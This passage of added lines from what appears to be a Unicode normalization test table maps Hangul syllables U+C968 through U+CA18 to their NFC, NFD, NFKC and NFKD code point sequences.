+{ source: [0xC968], NFC: [0xC968], NFD: [0x110C, 0x1171, 0x11BF], NFKC: [0xC968], NFKD: [0x110C, 0x1171, 0x11BF] },
+{ source: [0xC969], NFC: [0xC969], NFD: [0x110C, 0x1171, 0x11C0], NFKC: [0xC969], NFKD: [0x110C, 0x1171, 0x11C0] },
+{ source: [0xC96A], NFC: [0xC96A], NFD: [0x110C, 0x1171, 0x11C1], NFKC: [0xC96A], NFKD: [0x110C, 0x1171, 0x11C1] },
+{ source: [0xC96B], NFC: [0xC96B], NFD: [0x110C, 0x1171, 0x11C2], NFKC: [0xC96B], NFKD: [0x110C, 0x1171, 0x11C2] },
+{ source: [0xC96C], NFC: [0xC96C], NFD: [0x110C, 0x1172], NFKC: [0xC96C], NFKD: [0x110C, 0x1172] },
+{ source: [0xC96D], NFC: [0xC96D], NFD: [0x110C, 0x1172, 0x11A8], NFKC: [0xC96D], NFKD: [0x110C, 0x1172, 0x11A8] },
+{ source: [0xC96E], NFC: [0xC96E], NFD: [0x110C, 0x1172, 0x11A9], NFKC: [0xC96E], NFKD: [0x110C, 0x1172, 0x11A9] },
+{ source: [0xC96F], NFC: [0xC96F], NFD: [0x110C, 0x1172, 0x11AA], NFKC: [0xC96F], NFKD: [0x110C, 0x1172, 0x11AA] },
+{ source: [0xC970], NFC: [0xC970], NFD: [0x110C, 0x1172, 0x11AB], NFKC: [0xC970], NFKD: [0x110C, 0x1172, 0x11AB] },
+{ source: [0xC971], NFC: [0xC971], NFD: [0x110C, 0x1172, 0x11AC], NFKC: [0xC971], NFKD: [0x110C, 0x1172, 0x11AC] },
+{ source: [0xC972], NFC: [0xC972], NFD: [0x110C, 0x1172, 0x11AD], NFKC: [0xC972], NFKD: [0x110C, 0x1172, 0x11AD] },
+{ source: [0xC973], NFC: [0xC973], NFD: [0x110C, 0x1172, 0x11AE], NFKC: [0xC973], NFKD: [0x110C, 0x1172, 0x11AE] },
+{ source: [0xC974], NFC: [0xC974], NFD: [0x110C, 0x1172, 0x11AF], NFKC: [0xC974], NFKD: [0x110C, 0x1172, 0x11AF] },
+{ source: [0xC975], NFC: [0xC975], NFD: [0x110C, 0x1172, 0x11B0], NFKC: [0xC975], NFKD: [0x110C, 0x1172, 0x11B0] },
+{ source: [0xC976], NFC: [0xC976], NFD: [0x110C, 0x1172, 0x11B1], NFKC: [0xC976], NFKD: [0x110C, 0x1172, 0x11B1] },
+{ source: [0xC977], NFC: [0xC977], NFD: [0x110C, 0x1172, 0x11B2], NFKC: [0xC977], NFKD: [0x110C, 0x1172, 0x11B2] },
+{ source: [0xC978], NFC: [0xC978], NFD: [0x110C, 0x1172, 0x11B3], NFKC: [0xC978], NFKD: [0x110C, 0x1172, 0x11B3] },
+{ source: [0xC979], NFC: [0xC979], NFD: [0x110C, 0x1172, 0x11B4], NFKC: [0xC979], NFKD: [0x110C, 0x1172, 0x11B4] },
+{ source: [0xC97A], NFC: [0xC97A], NFD: [0x110C, 0x1172, 0x11B5], NFKC: [0xC97A], NFKD: [0x110C, 0x1172, 0x11B5] },
+{ source: [0xC97B], NFC: [0xC97B], NFD: [0x110C, 0x1172, 0x11B6], NFKC: [0xC97B], NFKD: [0x110C, 0x1172, 0x11B6] },
+{ source: [0xC97C], NFC: [0xC97C], NFD: [0x110C, 0x1172, 0x11B7], NFKC: [0xC97C], NFKD: [0x110C, 0x1172, 0x11B7] },
+{ source: [0xC97D], NFC: [0xC97D], NFD: [0x110C, 0x1172, 0x11B8], NFKC: [0xC97D], NFKD: [0x110C, 0x1172, 0x11B8] },
+{ source: [0xC97E], NFC: [0xC97E], NFD: [0x110C, 0x1172, 0x11B9], NFKC: [0xC97E], NFKD: [0x110C, 0x1172, 0x11B9] },
+{ source: [0xC97F], NFC: [0xC97F], NFD: [0x110C, 0x1172, 0x11BA], NFKC: [0xC97F], NFKD: [0x110C, 0x1172, 0x11BA] },
+{ source: [0xC980], NFC: [0xC980], NFD: [0x110C, 0x1172, 0x11BB], NFKC: [0xC980], NFKD: [0x110C, 0x1172, 0x11BB] },
+{ source: [0xC981], NFC: [0xC981], NFD: [0x110C, 0x1172, 0x11BC], NFKC: [0xC981], NFKD: [0x110C, 0x1172, 0x11BC] },
+{ source: [0xC982], NFC: [0xC982], NFD: [0x110C, 0x1172, 0x11BD], NFKC: [0xC982], NFKD: [0x110C, 0x1172, 0x11BD] },
+{ source: [0xC983], NFC: [0xC983], NFD: [0x110C, 0x1172, 0x11BE], NFKC: [0xC983], NFKD: [0x110C, 0x1172, 0x11BE] },
+{ source: [0xC984], NFC: [0xC984], NFD: [0x110C, 0x1172, 0x11BF], NFKC: [0xC984], NFKD: [0x110C, 0x1172, 0x11BF] },
+{ source: [0xC985], NFC: [0xC985], NFD: [0x110C, 0x1172, 0x11C0], NFKC: [0xC985], NFKD: [0x110C, 0x1172, 0x11C0] },
+{ source: [0xC986], NFC: [0xC986], NFD: [0x110C, 0x1172, 0x11C1], NFKC: [0xC986], NFKD: [0x110C, 0x1172, 0x11C1] },
+{ source: [0xC987], NFC: [0xC987], NFD: [0x110C, 0x1172, 0x11C2], NFKC: [0xC987], NFKD: [0x110C, 0x1172, 0x11C2] },
+{ source: [0xC988], NFC: [0xC988], NFD: [0x110C, 0x1173], NFKC: [0xC988], NFKD: [0x110C, 0x1173] },
+{ source: [0xC989], NFC: [0xC989], NFD: [0x110C, 0x1173, 0x11A8], NFKC: [0xC989], NFKD: [0x110C, 0x1173, 0x11A8] },
+{ source: [0xC98A], NFC: [0xC98A], NFD: [0x110C, 0x1173, 0x11A9], NFKC: [0xC98A], NFKD: [0x110C, 0x1173, 0x11A9] },
+{ source: [0xC98B], NFC: [0xC98B], NFD: [0x110C, 0x1173, 0x11AA], NFKC: [0xC98B], NFKD: [0x110C, 0x1173, 0x11AA] },
+{ source: [0xC98C], NFC: [0xC98C], NFD: [0x110C, 0x1173, 0x11AB], NFKC: [0xC98C], NFKD: [0x110C, 0x1173, 0x11AB] },
+{ source: [0xC98D], NFC: [0xC98D], NFD: [0x110C, 0x1173, 0x11AC], NFKC: [0xC98D], NFKD: [0x110C, 0x1173, 0x11AC] },
+{ source: [0xC98E], NFC: [0xC98E], NFD: [0x110C, 0x1173, 0x11AD], NFKC: [0xC98E], NFKD: [0x110C, 0x1173, 0x11AD] },
+{ source: [0xC98F], NFC: [0xC98F], NFD: [0x110C, 0x1173, 0x11AE], NFKC: [0xC98F], NFKD: [0x110C, 0x1173, 0x11AE] },
+{ source: [0xC990], NFC: [0xC990], NFD: [0x110C, 0x1173, 0x11AF], NFKC: [0xC990], NFKD: [0x110C, 0x1173, 0x11AF] },
+{ source: [0xC991], NFC: [0xC991], NFD: [0x110C, 0x1173, 0x11B0], NFKC: [0xC991], NFKD: [0x110C, 0x1173, 0x11B0] },
+{ source: [0xC992], NFC: [0xC992], NFD: [0x110C, 0x1173, 0x11B1], NFKC: [0xC992], NFKD: [0x110C, 0x1173, 0x11B1] },
+{ source: [0xC993], NFC: [0xC993], NFD: [0x110C, 0x1173, 0x11B2], NFKC: [0xC993], NFKD: [0x110C, 0x1173, 0x11B2] },
+{ source: [0xC994], NFC: [0xC994], NFD: [0x110C, 0x1173, 0x11B3], NFKC: [0xC994], NFKD: [0x110C, 0x1173, 0x11B3] },
+{ source: [0xC995], NFC: [0xC995], NFD: [0x110C, 0x1173, 0x11B4], NFKC: [0xC995], NFKD: [0x110C, 0x1173, 0x11B4] },
+{ source: [0xC996], NFC: [0xC996], NFD: [0x110C, 0x1173, 0x11B5], NFKC: [0xC996], NFKD: [0x110C, 0x1173, 0x11B5] },
+{ source: [0xC997], NFC: [0xC997], NFD: [0x110C, 0x1173, 0x11B6], NFKC: [0xC997], NFKD: [0x110C, 0x1173, 0x11B6] },
+{ source: [0xC998], NFC: [0xC998], NFD: [0x110C, 0x1173, 0x11B7], NFKC: [0xC998], NFKD: [0x110C, 0x1173, 0x11B7] },
+{ source: [0xC999], NFC: [0xC999], NFD: [0x110C, 0x1173, 0x11B8], NFKC: [0xC999], NFKD: [0x110C, 0x1173, 0x11B8] },
+{ source: [0xC99A], NFC: [0xC99A], NFD: [0x110C, 0x1173, 0x11B9], NFKC: [0xC99A], NFKD: [0x110C, 0x1173, 0x11B9] },
+{ source: [0xC99B], NFC: [0xC99B], NFD: [0x110C, 0x1173, 0x11BA], NFKC: [0xC99B], NFKD: [0x110C, 0x1173, 0x11BA] },
+{ source: [0xC99C], NFC: [0xC99C], NFD: [0x110C, 0x1173, 0x11BB], NFKC: [0xC99C], NFKD: [0x110C, 0x1173, 0x11BB] },
+{ source: [0xC99D], NFC: [0xC99D], NFD: [0x110C, 0x1173, 0x11BC], NFKC: [0xC99D], NFKD: [0x110C, 0x1173, 0x11BC] },
+{ source: [0xC99E], NFC: [0xC99E], NFD: [0x110C, 0x1173, 0x11BD], NFKC: [0xC99E], NFKD: [0x110C, 0x1173, 0x11BD] },
+{ source: [0xC99F], NFC: [0xC99F], NFD: [0x110C, 0x1173, 0x11BE], NFKC: [0xC99F], NFKD: [0x110C, 0x1173, 0x11BE] },
+{ source: [0xC9A0], NFC: [0xC9A0], NFD: [0x110C, 0x1173, 0x11BF], NFKC: [0xC9A0], NFKD: [0x110C, 0x1173, 0x11BF] },
+{ source: [0xC9A1], NFC: [0xC9A1], NFD: [0x110C, 0x1173, 0x11C0], NFKC: [0xC9A1], NFKD: [0x110C, 0x1173, 0x11C0] },
+{ source: [0xC9A2], NFC: [0xC9A2], NFD: [0x110C, 0x1173, 0x11C1], NFKC: [0xC9A2], NFKD: [0x110C, 0x1173, 0x11C1] },
+{ source: [0xC9A3], NFC: [0xC9A3], NFD: [0x110C, 0x1173, 0x11C2], NFKC: [0xC9A3], NFKD: [0x110C, 0x1173, 0x11C2] },
+{ source: [0xC9A4], NFC: [0xC9A4], NFD: [0x110C, 0x1174], NFKC: [0xC9A4], NFKD: [0x110C, 0x1174] },
+{ source: [0xC9A5], NFC: [0xC9A5], NFD: [0x110C, 0x1174, 0x11A8], NFKC: [0xC9A5], NFKD: [0x110C, 0x1174, 0x11A8] },
+{ source: [0xC9A6], NFC: [0xC9A6], NFD: [0x110C, 0x1174, 0x11A9], NFKC: [0xC9A6], NFKD: [0x110C, 0x1174, 0x11A9] },
+{ source: [0xC9A7], NFC: [0xC9A7], NFD: [0x110C, 0x1174, 0x11AA], NFKC: [0xC9A7], NFKD: [0x110C, 0x1174, 0x11AA] },
+{ source: [0xC9A8], NFC: [0xC9A8], NFD: [0x110C, 0x1174, 0x11AB], NFKC: [0xC9A8], NFKD: [0x110C, 0x1174, 0x11AB] },
+{ source: [0xC9A9], NFC: [0xC9A9], NFD: [0x110C, 0x1174, 0x11AC], NFKC: [0xC9A9], NFKD: [0x110C, 0x1174, 0x11AC] },
+{ source: [0xC9AA], NFC: [0xC9AA], NFD: [0x110C, 0x1174, 0x11AD], NFKC: [0xC9AA], NFKD: [0x110C, 0x1174, 0x11AD] },
+{ source: [0xC9AB], NFC: [0xC9AB], NFD: [0x110C, 0x1174, 0x11AE], NFKC: [0xC9AB], NFKD: [0x110C, 0x1174, 0x11AE] },
+{ source: [0xC9AC], NFC: [0xC9AC], NFD: [0x110C, 0x1174, 0x11AF], NFKC: [0xC9AC], NFKD: [0x110C, 0x1174, 0x11AF] },
+{ source: [0xC9AD], NFC: [0xC9AD], NFD: [0x110C, 0x1174, 0x11B0], NFKC: [0xC9AD], NFKD: [0x110C, 0x1174, 0x11B0] },
+{ source: [0xC9AE], NFC: [0xC9AE], NFD: [0x110C, 0x1174, 0x11B1], NFKC: [0xC9AE], NFKD: [0x110C, 0x1174, 0x11B1] },
+{ source: [0xC9AF], NFC: [0xC9AF], NFD: [0x110C, 0x1174, 0x11B2], NFKC: [0xC9AF], NFKD: [0x110C, 0x1174, 0x11B2] },
+{ source: [0xC9B0], NFC: [0xC9B0], NFD: [0x110C, 0x1174, 0x11B3], NFKC: [0xC9B0], NFKD: [0x110C, 0x1174, 0x11B3] },
+{ source: [0xC9B1], NFC: [0xC9B1], NFD: [0x110C, 0x1174, 0x11B4], NFKC: [0xC9B1], NFKD: [0x110C, 0x1174, 0x11B4] },
+{ source: [0xC9B2], NFC: [0xC9B2], NFD: [0x110C, 0x1174, 0x11B5], NFKC: [0xC9B2], NFKD: [0x110C, 0x1174, 0x11B5] },
+{ source: [0xC9B3], NFC: [0xC9B3], NFD: [0x110C, 0x1174, 0x11B6], NFKC: [0xC9B3], NFKD: [0x110C, 0x1174, 0x11B6] },
+{ source: [0xC9B4], NFC: [0xC9B4], NFD: [0x110C, 0x1174, 0x11B7], NFKC: [0xC9B4], NFKD: [0x110C, 0x1174, 0x11B7] },
+{ source: [0xC9B5], NFC: [0xC9B5], NFD: [0x110C, 0x1174, 0x11B8], NFKC: [0xC9B5], NFKD: [0x110C, 0x1174, 0x11B8] },
+{ source: [0xC9B6], NFC: [0xC9B6], NFD: [0x110C, 0x1174, 0x11B9], NFKC: [0xC9B6], NFKD: [0x110C, 0x1174, 0x11B9] },
+{ source: [0xC9B7], NFC: [0xC9B7], NFD: [0x110C, 0x1174, 0x11BA], NFKC: [0xC9B7], NFKD: [0x110C, 0x1174, 0x11BA] },
+{ source: [0xC9B8], NFC: [0xC9B8], NFD: [0x110C, 0x1174, 0x11BB], NFKC: [0xC9B8], NFKD: [0x110C, 0x1174, 0x11BB] },
+{ source: [0xC9B9], NFC: [0xC9B9], NFD: [0x110C, 0x1174, 0x11BC], NFKC: [0xC9B9], NFKD: [0x110C, 0x1174, 0x11BC] },
+{ source: [0xC9BA], NFC: [0xC9BA], NFD: [0x110C, 0x1174, 0x11BD], NFKC: [0xC9BA], NFKD: [0x110C, 0x1174, 0x11BD] },
+{ source: [0xC9BB], NFC: [0xC9BB], NFD: [0x110C, 0x1174, 0x11BE], NFKC: [0xC9BB], NFKD: [0x110C, 0x1174, 0x11BE] },
+{ source: [0xC9BC], NFC: [0xC9BC], NFD: [0x110C, 0x1174, 0x11BF], NFKC: [0xC9BC], NFKD: [0x110C, 0x1174, 0x11BF] },
+{ source: [0xC9BD], NFC: [0xC9BD], NFD: [0x110C, 0x1174, 0x11C0], NFKC: [0xC9BD], NFKD: [0x110C, 0x1174, 0x11C0] },
+{ source: [0xC9BE], NFC: [0xC9BE], NFD: [0x110C, 0x1174, 0x11C1], NFKC: [0xC9BE], NFKD: [0x110C, 0x1174, 0x11C1] },
+{ source: [0xC9BF], NFC: [0xC9BF], NFD: [0x110C, 0x1174, 0x11C2], NFKC: [0xC9BF], NFKD: [0x110C, 0x1174, 0x11C2] },
+{ source: [0xC9C0], NFC: [0xC9C0], NFD: [0x110C, 0x1175], NFKC: [0xC9C0], NFKD: [0x110C, 0x1175] },
+{ source: [0xC9C1], NFC: [0xC9C1], NFD: [0x110C, 0x1175, 0x11A8], NFKC: [0xC9C1], NFKD: [0x110C, 0x1175, 0x11A8] },
+{ source: [0xC9C2], NFC: [0xC9C2], NFD: [0x110C, 0x1175, 0x11A9], NFKC: [0xC9C2], NFKD: [0x110C, 0x1175, 0x11A9] },
+{ source: [0xC9C3], NFC: [0xC9C3], NFD: [0x110C, 0x1175, 0x11AA], NFKC: [0xC9C3], NFKD: [0x110C, 0x1175, 0x11AA] },
+{ source: [0xC9C4], NFC: [0xC9C4], NFD: [0x110C, 0x1175, 0x11AB], NFKC: [0xC9C4], NFKD: [0x110C, 0x1175, 0x11AB] },
+{ source: [0xC9C5], NFC: [0xC9C5], NFD: [0x110C, 0x1175, 0x11AC], NFKC: [0xC9C5], NFKD: [0x110C, 0x1175, 0x11AC] },
+{ source: [0xC9C6], NFC: [0xC9C6], NFD: [0x110C, 0x1175, 0x11AD], NFKC: [0xC9C6], NFKD: [0x110C, 0x1175, 0x11AD] },
+{ source: [0xC9C7], NFC: [0xC9C7], NFD: [0x110C, 0x1175, 0x11AE], NFKC: [0xC9C7], NFKD: [0x110C, 0x1175, 0x11AE] },
+{ source: [0xC9C8], NFC: [0xC9C8], NFD: [0x110C, 0x1175, 0x11AF], NFKC: [0xC9C8], NFKD: [0x110C, 0x1175, 0x11AF] },
+{ source: [0xC9C9], NFC: [0xC9C9], NFD: [0x110C, 0x1175, 0x11B0], NFKC: [0xC9C9], NFKD: [0x110C, 0x1175, 0x11B0] },
+{ source: [0xC9CA], NFC: [0xC9CA], NFD: [0x110C, 0x1175, 0x11B1], NFKC: [0xC9CA], NFKD: [0x110C, 0x1175, 0x11B1] },
+{ source: [0xC9CB], NFC: [0xC9CB], NFD: [0x110C, 0x1175, 0x11B2], NFKC: [0xC9CB], NFKD: [0x110C, 0x1175, 0x11B2] },
+{ source: [0xC9CC], NFC: [0xC9CC], NFD: [0x110C, 0x1175, 0x11B3], NFKC: [0xC9CC], NFKD: [0x110C, 0x1175, 0x11B3] },
+{ source: [0xC9CD], NFC: [0xC9CD], NFD: [0x110C, 0x1175, 0x11B4], NFKC: [0xC9CD], NFKD: [0x110C, 0x1175, 0x11B4] },
+{ source: [0xC9CE], NFC: [0xC9CE], NFD: [0x110C, 0x1175, 0x11B5], NFKC: [0xC9CE], NFKD: [0x110C, 0x1175, 0x11B5] },
+{ source: [0xC9CF], NFC: [0xC9CF], NFD: [0x110C, 0x1175, 0x11B6], NFKC: [0xC9CF], NFKD: [0x110C, 0x1175, 0x11B6] },
+{ source: [0xC9D0], NFC: [0xC9D0], NFD: [0x110C, 0x1175, 0x11B7], NFKC: [0xC9D0], NFKD: [0x110C, 0x1175, 0x11B7] },
+{ source: [0xC9D1], NFC: [0xC9D1], NFD: [0x110C, 0x1175, 0x11B8], NFKC: [0xC9D1], NFKD: [0x110C, 0x1175, 0x11B8] },
+{ source: [0xC9D2], NFC: [0xC9D2], NFD: [0x110C, 0x1175, 0x11B9], NFKC: [0xC9D2], NFKD: [0x110C, 0x1175, 0x11B9] },
+{ source: [0xC9D3], NFC: [0xC9D3], NFD: [0x110C, 0x1175, 0x11BA], NFKC: [0xC9D3], NFKD: [0x110C, 0x1175, 0x11BA] },
+{ source: [0xC9D4], NFC: [0xC9D4], NFD: [0x110C, 0x1175, 0x11BB], NFKC: [0xC9D4], NFKD: [0x110C, 0x1175, 0x11BB] },
+{ source: [0xC9D5], NFC: [0xC9D5], NFD: [0x110C, 0x1175, 0x11BC], NFKC: [0xC9D5], NFKD: [0x110C, 0x1175, 0x11BC] },
+{ source: [0xC9D6], NFC: [0xC9D6], NFD: [0x110C, 0x1175, 0x11BD], NFKC: [0xC9D6], NFKD: [0x110C, 0x1175, 0x11BD] },
+{ source: [0xC9D7], NFC: [0xC9D7], NFD: [0x110C, 0x1175, 0x11BE], NFKC: [0xC9D7], NFKD: [0x110C, 0x1175, 0x11BE] },
+{ source: [0xC9D8], NFC: [0xC9D8], NFD: [0x110C, 0x1175, 0x11BF], NFKC: [0xC9D8], NFKD: [0x110C, 0x1175, 0x11BF] },
+{ source: [0xC9D9], NFC: [0xC9D9], NFD: [0x110C, 0x1175, 0x11C0], NFKC: [0xC9D9], NFKD: [0x110C, 0x1175, 0x11C0] },
+{ source: [0xC9DA], NFC: [0xC9DA], NFD: [0x110C, 0x1175, 0x11C1], NFKC: [0xC9DA], NFKD: [0x110C, 0x1175, 0x11C1] },
+{ source: [0xC9DB], NFC: [0xC9DB], NFD: [0x110C, 0x1175, 0x11C2], NFKC: [0xC9DB], NFKD: [0x110C, 0x1175, 0x11C2] },
+{ source: [0xC9DC], NFC: [0xC9DC], NFD: [0x110D, 0x1161], NFKC: [0xC9DC], NFKD: [0x110D, 0x1161] },
+{ source: [0xC9DD], NFC: [0xC9DD], NFD: [0x110D, 0x1161, 0x11A8], NFKC: [0xC9DD], NFKD: [0x110D, 0x1161, 0x11A8] },
+{ source: [0xC9DE], NFC: [0xC9DE], NFD: [0x110D, 0x1161, 0x11A9], NFKC: [0xC9DE], NFKD: [0x110D, 0x1161, 0x11A9] },
+{ source: [0xC9DF], NFC: [0xC9DF], NFD: [0x110D, 0x1161, 0x11AA], NFKC: [0xC9DF], NFKD: [0x110D, 0x1161, 0x11AA] },
+{ source: [0xC9E0], NFC: [0xC9E0], NFD: [0x110D, 0x1161, 0x11AB], NFKC: [0xC9E0], NFKD: [0x110D, 0x1161, 0x11AB] },
+{ source: [0xC9E1], NFC: [0xC9E1], NFD: [0x110D, 0x1161, 0x11AC], NFKC: [0xC9E1], NFKD: [0x110D, 0x1161, 0x11AC] },
+{ source: [0xC9E2], NFC: [0xC9E2], NFD: [0x110D, 0x1161, 0x11AD], NFKC: [0xC9E2], NFKD: [0x110D, 0x1161, 0x11AD] },
+{ source: [0xC9E3], NFC: [0xC9E3], NFD: [0x110D, 0x1161, 0x11AE], NFKC: [0xC9E3], NFKD: [0x110D, 0x1161, 0x11AE] },
+{ source: [0xC9E4], NFC: [0xC9E4], NFD: [0x110D, 0x1161, 0x11AF], NFKC: [0xC9E4], NFKD: [0x110D, 0x1161, 0x11AF] },
+{ source: [0xC9E5], NFC: [0xC9E5], NFD: [0x110D, 0x1161, 0x11B0], NFKC: [0xC9E5], NFKD: [0x110D, 0x1161, 0x11B0] },
+{ source: [0xC9E6], NFC: [0xC9E6], NFD: [0x110D, 0x1161, 0x11B1], NFKC: [0xC9E6], NFKD: [0x110D, 0x1161, 0x11B1] },
+{ source: [0xC9E7], NFC: [0xC9E7], NFD: [0x110D, 0x1161, 0x11B2], NFKC: [0xC9E7], NFKD: [0x110D, 0x1161, 0x11B2] },
+{ source: [0xC9E8], NFC: [0xC9E8], NFD: [0x110D, 0x1161, 0x11B3], NFKC: [0xC9E8], NFKD: [0x110D, 0x1161, 0x11B3] },
+{ source: [0xC9E9], NFC: [0xC9E9], NFD: [0x110D, 0x1161, 0x11B4], NFKC: [0xC9E9], NFKD: [0x110D, 0x1161, 0x11B4] },
+{ source: [0xC9EA], NFC: [0xC9EA], NFD: [0x110D, 0x1161, 0x11B5], NFKC: [0xC9EA], NFKD: [0x110D, 0x1161, 0x11B5] },
+{ source: [0xC9EB], NFC: [0xC9EB], NFD: [0x110D, 0x1161, 0x11B6], NFKC: [0xC9EB], NFKD: [0x110D, 0x1161, 0x11B6] },
+{ source: [0xC9EC], NFC: [0xC9EC], NFD: [0x110D, 0x1161, 0x11B7], NFKC: [0xC9EC], NFKD: [0x110D, 0x1161, 0x11B7] },
+{ source: [0xC9ED], NFC: [0xC9ED], NFD: [0x110D, 0x1161, 0x11B8], NFKC: [0xC9ED], NFKD: [0x110D, 0x1161, 0x11B8] },
+{ source: [0xC9EE], NFC: [0xC9EE], NFD: [0x110D, 0x1161, 0x11B9], NFKC: [0xC9EE], NFKD: [0x110D, 0x1161, 0x11B9] },
+{ source: [0xC9EF], NFC: [0xC9EF], NFD: [0x110D, 0x1161, 0x11BA], NFKC: [0xC9EF], NFKD: [0x110D, 0x1161, 0x11BA] },
+{ source: [0xC9F0], NFC: [0xC9F0], NFD: [0x110D, 0x1161, 0x11BB], NFKC: [0xC9F0], NFKD: [0x110D, 0x1161, 0x11BB] },
+{ source: [0xC9F1], NFC: [0xC9F1], NFD: [0x110D, 0x1161, 0x11BC], NFKC: [0xC9F1], NFKD: [0x110D, 0x1161, 0x11BC] },
+{ source: [0xC9F2], NFC: [0xC9F2], NFD: [0x110D, 0x1161, 0x11BD], NFKC: [0xC9F2], NFKD: [0x110D, 0x1161, 0x11BD] },
+{ source: [0xC9F3], NFC: [0xC9F3], NFD: [0x110D, 0x1161, 0x11BE], NFKC: [0xC9F3], NFKD: [0x110D, 0x1161, 0x11BE] },
+{ source: [0xC9F4], NFC: [0xC9F4], NFD: [0x110D, 0x1161, 0x11BF], NFKC: [0xC9F4], NFKD: [0x110D, 0x1161, 0x11BF] },
+{ source: [0xC9F5], NFC: [0xC9F5], NFD: [0x110D, 0x1161, 0x11C0], NFKC: [0xC9F5], NFKD: [0x110D, 0x1161, 0x11C0] },
+{ source: [0xC9F6], NFC: [0xC9F6], NFD: [0x110D, 0x1161, 0x11C1], NFKC: [0xC9F6], NFKD: [0x110D, 0x1161, 0x11C1] },
+{ source: [0xC9F7], NFC: [0xC9F7], NFD: [0x110D, 0x1161, 0x11C2], NFKC: [0xC9F7], NFKD: [0x110D, 0x1161, 0x11C2] },
+{ source: [0xC9F8], NFC: [0xC9F8], NFD: [0x110D, 0x1162], NFKC: [0xC9F8], NFKD: [0x110D, 0x1162] },
+{ source: [0xC9F9], NFC: [0xC9F9], NFD: [0x110D, 0x1162, 0x11A8], NFKC: [0xC9F9], NFKD: [0x110D, 0x1162, 0x11A8] },
+{ source: [0xC9FA], NFC: [0xC9FA], NFD: [0x110D, 0x1162, 0x11A9], NFKC: [0xC9FA], NFKD: [0x110D, 0x1162, 0x11A9] },
+{ source: [0xC9FB], NFC: [0xC9FB], NFD: [0x110D, 0x1162, 0x11AA], NFKC: [0xC9FB], NFKD: [0x110D, 0x1162, 0x11AA] },
+{ source: [0xC9FC], NFC: [0xC9FC], NFD: [0x110D, 0x1162, 0x11AB], NFKC: [0xC9FC], NFKD: [0x110D, 0x1162, 0x11AB] },
+{ source: [0xC9FD], NFC: [0xC9FD], NFD: [0x110D, 0x1162, 0x11AC], NFKC: [0xC9FD], NFKD: [0x110D, 0x1162, 0x11AC] },
+{ source: [0xC9FE], NFC: [0xC9FE], NFD: [0x110D, 0x1162, 0x11AD], NFKC: [0xC9FE], NFKD: [0x110D, 0x1162, 0x11AD] },
+{ source: [0xC9FF], NFC: [0xC9FF], NFD: [0x110D, 0x1162, 0x11AE], NFKC: [0xC9FF], NFKD: [0x110D, 0x1162, 0x11AE] },
+{ source: [0xCA00], NFC: [0xCA00], NFD: [0x110D, 0x1162, 0x11AF], NFKC: [0xCA00], NFKD: [0x110D, 0x1162, 0x11AF] },
+{ source: [0xCA01], NFC: [0xCA01], NFD: [0x110D, 0x1162, 0x11B0], NFKC: [0xCA01], NFKD: [0x110D, 0x1162, 0x11B0] },
+{ source: [0xCA02], NFC: [0xCA02], NFD: [0x110D, 0x1162, 0x11B1], NFKC: [0xCA02], NFKD: [0x110D, 0x1162, 0x11B1] },
+{ source: [0xCA03], NFC: [0xCA03], NFD: [0x110D, 0x1162, 0x11B2], NFKC: [0xCA03], NFKD: [0x110D, 0x1162, 0x11B2] },
+{ source: [0xCA04], NFC: [0xCA04], NFD: [0x110D, 0x1162, 0x11B3], NFKC: [0xCA04], NFKD: [0x110D, 0x1162, 0x11B3] },
+{ source: [0xCA05], NFC: [0xCA05], NFD: [0x110D, 0x1162, 0x11B4], NFKC: [0xCA05], NFKD: [0x110D, 0x1162, 0x11B4] },
+{ source: [0xCA06], NFC: [0xCA06], NFD: [0x110D, 0x1162, 0x11B5], NFKC: [0xCA06], NFKD: [0x110D, 0x1162, 0x11B5] },
+{ source: [0xCA07], NFC: [0xCA07], NFD: [0x110D, 0x1162, 0x11B6], NFKC: [0xCA07], NFKD: [0x110D, 0x1162, 0x11B6] },
+{ source: [0xCA08], NFC: [0xCA08], NFD: [0x110D, 0x1162, 0x11B7], NFKC: [0xCA08], NFKD: [0x110D, 0x1162, 0x11B7] },
+{ source: [0xCA09], NFC: [0xCA09], NFD: [0x110D, 0x1162, 0x11B8], NFKC: [0xCA09], NFKD: [0x110D, 0x1162, 0x11B8] },
+{ source: [0xCA0A], NFC: [0xCA0A], NFD: [0x110D, 0x1162, 0x11B9], NFKC: [0xCA0A], NFKD: [0x110D, 0x1162, 0x11B9] },
+{ source: [0xCA0B], NFC: [0xCA0B], NFD: [0x110D, 0x1162, 0x11BA], NFKC: [0xCA0B], NFKD: [0x110D, 0x1162, 0x11BA] },
+{ source: [0xCA0C], NFC: [0xCA0C], NFD: [0x110D, 0x1162, 0x11BB], NFKC: [0xCA0C], NFKD: [0x110D, 0x1162, 0x11BB] },
+{ source: [0xCA0D], NFC: [0xCA0D], NFD: [0x110D, 0x1162, 0x11BC], NFKC: [0xCA0D], NFKD: [0x110D, 0x1162, 0x11BC] },
+{ source: [0xCA0E], NFC: [0xCA0E], NFD: [0x110D, 0x1162, 0x11BD], NFKC: [0xCA0E], NFKD: [0x110D, 0x1162, 0x11BD] },
+{ source: [0xCA0F], NFC: [0xCA0F], NFD: [0x110D, 0x1162, 0x11BE], NFKC: [0xCA0F], NFKD: [0x110D, 0x1162, 0x11BE] },
+{ source: [0xCA10], NFC: [0xCA10], NFD: [0x110D, 0x1162, 0x11BF], NFKC: [0xCA10], NFKD: [0x110D, 0x1162, 0x11BF] },
+{ source: [0xCA11], NFC: [0xCA11], NFD: [0x110D, 0x1162, 0x11C0], NFKC: [0xCA11], NFKD: [0x110D, 0x1162, 0x11C0] },
+{ source: [0xCA12], NFC: [0xCA12], NFD: [0x110D, 0x1162, 0x11C1], NFKC: [0xCA12], NFKD: [0x110D, 0x1162, 0x11C1] },
+{ source: [0xCA13], NFC: [0xCA13], NFD: [0x110D, 0x1162, 0x11C2], NFKC: [0xCA13], NFKD: [0x110D, 0x1162, 0x11C2] },
+{ source: [0xCA14], NFC: [0xCA14], NFD: [0x110D, 0x1163], NFKC: [0xCA14], NFKD: [0x110D, 0x1163] },
+{ source: [0xCA15], NFC: [0xCA15], NFD: [0x110D, 0x1163, 0x11A8], NFKC: [0xCA15], NFKD: [0x110D, 0x1163, 0x11A8] },
+{ source: [0xCA16], NFC: [0xCA16], NFD: [0x110D, 0x1163, 0x11A9], NFKC: [0xCA16], NFKD: [0x110D, 0x1163, 0x11A9] },
+{ source: [0xCA17], NFC: [0xCA17], NFD: [0x110D, 0x1163, 0x11AA], NFKC: [0xCA17], NFKD: [0x110D, 0x1163, 0x11AA] },
+{ source: [0xCA18], NFC: [0xCA18], NFD: [0x110D, 0x1163, 0x11AB], NFKC: [0xCA18], NFKD: [0x110D, 0x1163, 0x11AB] },
